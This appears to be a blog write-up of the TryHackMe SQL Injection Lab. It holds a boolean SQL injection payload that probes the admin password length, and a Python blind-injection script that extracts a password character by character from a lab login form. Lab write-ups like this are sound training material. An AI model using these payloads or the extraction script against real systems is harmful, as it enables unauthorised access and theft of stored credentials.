marcorei7 posted: " Description: Understand how SQL injection attacks work and how to exploit this vulnerability. Tags: security, sqli, sqlmap, web Difficulty: Easy Host: TryHackMe | SQL Injection Lab (by Fafa and eXistens) - https://tryhackme.com/room/sqlilab "
admin' AND length((SELECT password from users where username='admin'))==37-- -
Script for blind SQLi.
#!/usr/bin/python3 import sys import requests import string def send_p(url, query): payload = {"username": query, "password": "admin"} try: r = requests.post(url, data=payload, timeout=3) except requests.exceptions.ConnectTimeout: print("[!] ConnectionTimeout: Try to adjust the timeout time") sys.exit(1) return r.text def main(addr): url = f"http://{addr}/challenge3/login" flag = "" password_len = 38 # Not the most efficient way of doing it... for i in range(1, password_len): for c in string.ascii_lowercase + string.ascii_uppercase + string.digits + "{}": # Convert char to hex and remove "0x" h = hex(ord(c))[2:] query = "admin' AND SUBSTR((SELECT password FROM users LIMIT 0,1)," \ f"{i},1)=CAST(X'{h}' AS TEXT)--" resp = send_p(url, query) if not "Invalid" in resp: flag += c print(flag) print(f"[+] FLAG: {flag}") if __name__ == "__main__": if len(sys.argv) == 1: print(f"Usage: {sys.argv[0]} MACHINE_IP:PORT") sys.exit(0) main(sys.argv[1])
No comments:
Post a Comment
Note: Only a member of this blog may post a comment.